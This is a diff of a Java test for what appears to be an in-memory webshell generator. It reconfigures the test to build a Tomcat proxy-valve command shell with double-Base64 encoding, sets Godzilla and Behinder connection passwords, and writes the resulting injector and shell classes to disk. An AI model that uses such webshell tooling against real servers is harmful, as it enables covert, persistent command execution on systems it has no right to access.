@@ -21,18 +21,22 @@ class GeneratorMainTest {
2121 @ Disabled
2222 void test () {
2323 ShellConfig shellConfig = ShellConfig .builder ()
24- .server (Server .Apusic )
25- .shellTool (ShellTool .Behinder )
26- .shellType (ShellType .LISTENER )
24+ .server (Server .Tomcat )
25+ .shellTool (ShellTool .Command )
26+ .shellType (ShellType .PROXY_VALVE )
2727 .targetJreVersion (Opcodes .V1_8 )
2828 .debug (true )
29+ // .shrink(true)
2930 .build ();
3031 GodzillaConfig godzillaConfig = GodzillaConfig .builder ()
3132 .pass ("pass" )
3233 .key ("key" )
3334 .headerName ("User-Agent" )
3435 .headerValue ("test123" ).build ();
35- CommandConfig commandConfig = CommandConfig .builder ().paramName ("listener" ).build ();
36+ CommandConfig commandConfig = CommandConfig .builder ()
37+ .paramName ("listener" )
38+ .encryptor (CommandConfig .Encryptor .DOUBLE_BASE64 )
39+ .build ();
3640
3741 BehinderConfig behinderConfig = BehinderConfig .builder ()
3842 .pass ("test123" )
@@ -45,8 +49,10 @@ void test() {
4549
4650 InjectorConfig injectorConfig = new InjectorConfig ();
4751
48- GenerateResult generateResult = MemShellGenerator .generate (shellConfig , injectorConfig , behinderConfig );
52+ GenerateResult generateResult = MemShellGenerator .generate (shellConfig , injectorConfig , commandConfig );
4953 if (generateResult != null ) {
54+ System .out .println (generateResult .getShellBytes ().length );
55+ // System.out.println(((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult).length);
5056 Files .write (Paths .get (generateResult .getInjectorClassName () + ".class" ), generateResult .getInjectorBytes (), StandardOpenOption .CREATE_NEW );
5157 Files .write (Paths .get (generateResult .getShellClassName () + ".class" ), generateResult .getShellBytes (), StandardOpenOption .CREATE_NEW );
5258// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()));
0 commit comments